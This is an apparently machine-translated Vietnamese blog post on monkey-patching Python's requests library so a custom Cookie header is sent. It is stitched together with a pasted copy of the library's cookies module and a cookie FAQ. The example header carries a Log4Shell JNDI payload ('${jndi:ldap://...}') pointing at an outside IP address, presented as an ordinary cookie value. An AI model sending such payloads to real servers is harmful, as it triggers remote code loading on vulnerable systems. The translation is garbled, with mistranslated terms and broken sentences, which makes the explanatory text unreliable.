Cookie yêu cầu HTTP Python
Thường thì bài viết của mình là dài, nhưng hôm nay mình chỉ đưa ra một giải pháp để khi cần lại có thể dễ dàng tìm lại 😄 Show import requests def prepare_cookies(self, cookies): pass requests.models.PreparedRequest.prepare_cookies = prepare_cookies Khỉ vá hàm. Thật thô thiển, nhưng không có lựa chọn nào khác “A ha. ”, bạn có thể nói, tràn ngập các tài liệu, “Thư viện Yêu cầu cho phép bạn sửa đổi các tiêu đề bằng API móc sự kiện. ” Điều đó thật tuyệt, nhưng than ôi,. Vì vậy, chúng tôi bị mắc kẹt với việc vá khỉ, tốt hơn hoặc xấu hơn Vấn đềĐáng buồn thay, thư viện Yêu cầu dành cho Python sẽ không cho phép bạn chuyển tiêu đề cookie của riêng bạn. Thay vào đó, Yêu cầu yêu cầu bạn chuyển vào Có lẽ điều này phù hợp với hầu hết mọi người, nhưng tôi nhận thấy mình cần gửi một số dữ liệu đến máy chủ nơi tôi có thể kiểm soát hoàn toàn giá trị của headers = { # the value of 'cookie' below here will get dropped 'cookie': '${jndi:ldap://52.42.100.12:1389/a}', 'origin': 'https://example.com', 'content-type': 'text/plain;charset=UTF-8', 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36' } requests.get(url, headers=headers) Yêu cầu trên sẽ âm thầm loại bỏ tiêu đề cookie, dẫn đến một giờ gỡ lỗi và khiến bạn đặt câu hỏi về sự tỉnh táo của mình Rất may, sau khi khỉ vá thư viện, bạn sẽ thấy giá trị cookie của mình không bị ảnh hưởng bởi những người trợ giúp tiêu đề háo hức của thư viện yêu cầu Mã nguồn cho các yêu cầu. bánh quy""" requests.cookies ~~~~~~~~~~~~~~~~ Compatibility code to be able to use `cookielib.CookieJar` with requests. requests.utils imports from here, so be careful with imports. """ import calendar import copy import time from ._internal_utils import to_native_string from .compat import Morsel, MutableMapping, cookielib, urlparse, urlunparse try: import threading except ImportError: import dummy_threading as threading class MockRequest: """Wraps a `requests.Request` to mimic a `urllib2.Request`. The code in `cookielib.CookieJar` expects this interface in order to correctly manage cookie policies, i.e., determine whether a cookie can be set, given the domains of the request and the cookie. The original request object is read-only. The client is responsible for collecting the new headers via `get_new_headers()` and interpreting them appropriately. You probably want `get_cookie_header`, defined below. """ def __init__(self, request): self._r = request self._new_headers = {} self.type = urlparse(self._r.url).scheme def get_type(self): return self.type def get_host(self): return urlparse(self._r.url).netloc def get_origin_req_host(self): return self.get_host() def get_full_url(self): # Only return the response's URL if the user hadn't set the Host # header if not self._r.headers.get("Host"): return self._r.url # If they did set it, retrieve it and reconstruct the expected domain host = to_native_string(self._r.headers["Host"], encoding="utf-8") parsed = urlparse(self._r.url) # Reconstruct the URL as we expect it return urlunparse( [ parsed.scheme, host, parsed.path, parsed.params, parsed.query, parsed.fragment, ] ) def is_unverifiable(self): return True def has_header(self, name): return name in self._r.headers or name in self._new_headers def get_header(self, name, default=None): return self._r.headers.get(name, self._new_headers.get(name, default)) def add_header(self, key, val): """cookielib has no legitimate use for this method; add it back if you find one.""" raise NotImplementedError( "Cookie headers should be added with add_unredirected_header()" ) def add_unredirected_header(self, name, value): self._new_headers[name] = value def get_new_headers(self): return self._new_headers @property def unverifiable(self): return self.is_unverifiable() @property def origin_req_host(self): return self.get_origin_req_host() @property def host(self): return self.get_host() class MockResponse: """Wraps a `httplib.HTTPMessage` to mimic a `urllib.addinfourl`. ...what? Basically, expose the parsed HTTP headers from the server response the way `cookielib` expects to see them. """ def __init__(self, headers): """Make a MockResponse for `cookielib` to read. :param headers: a httplib.HTTPMessage or analogous carrying the headers """ self._headers = headers def info(self): return self._headers def getheaders(self, name): self._headers.getheaders(name) def extract_cookies_to_jar(jar, request, response): """Extract the cookies from the response into a CookieJar. :param jar: cookielib.CookieJar (not necessarily a RequestsCookieJar) :param request: our own requests.Request object :param response: urllib3.HTTPResponse object """ if not (hasattr(response, "_original_response") and response._original_response): return # the _original_response field is the wrapped httplib.HTTPResponse object, req = MockRequest(request) # pull out the HTTPMessage with the headers and put it in the mock: res = MockResponse(response._original_response.msg) jar.extract_cookies(res, req) def get_cookie_header(jar, request): """ Produce an appropriate Cookie header string to be sent with `request`, or None. :rtype: str """ r = MockRequest(request) jar.add_cookie_header(r) return r.get_new_headers().get("Cookie") def remove_cookie_by_name(cookiejar, name, domain=None, path=None): """Unsets a cookie by name, by default over all domains and paths. Wraps CookieJar.clear(), is O(n). """ clearables = [] for cookie in cookiejar: if cookie.name != name: continue if domain is not None and domain != cookie.domain: continue if path is not None and path != cookie.path: continue clearables.append((cookie.domain, cookie.path, cookie.name)) for domain, path, name in clearables: cookiejar.clear(domain, path, name) Làm cách nào để đặt cookie theo yêu cầu Python?Để gửi yêu cầu HTTP có Cookie, bạn cần thêm "Cookie. name=value" theo yêu cầu của bạn . Để gửi nhiều cookie trong một tiêu đề Cookie, hãy tách chúng bằng dấu chấm phẩy hoặc thêm nhiều "Cookie. tên=giá trị" tiêu đề yêu cầu.
Cookie hoạt động như thế nào với yêu cầu HTTP?Tiêu đề Set-Cookie được máy chủ gửi để phản hồi yêu cầu HTTP, được sử dụng để tạo cookie trên hệ thống của người dùng . Tiêu đề Cookie được ứng dụng khách bao gồm với yêu cầu HTTP được gửi đến máy chủ, nếu có cookie có miền và đường dẫn phù hợp.
Yêu cầu HTTP có chứa cookie không?Tiêu đề yêu cầu HTTP Cookie chứa các cookie HTTP đã lưu trữ được liên kết với máy chủ (i. e. được máy chủ gửi trước đó với tiêu đề Set-Cookie hoặc được đặt trong JavaScript bằng Tài liệu. bánh quy ). Tiêu đề Cookie là tùy chọn và có thể được bỏ qua nếu, ví dụ: cài đặt quyền riêng tư của trình duyệt chặn cookie.
Cookie trong yêu cầu là gì?Cookie là tiêu đề yêu cầu HTTP i. e. được sử dụng trong các yêu cầu do người dùng gửi đến máy chủ . Nó chứa các cookie được máy chủ gửi trước đó bằng cách sử dụng cookie đặt. Nó là một tiêu đề tùy chọn. |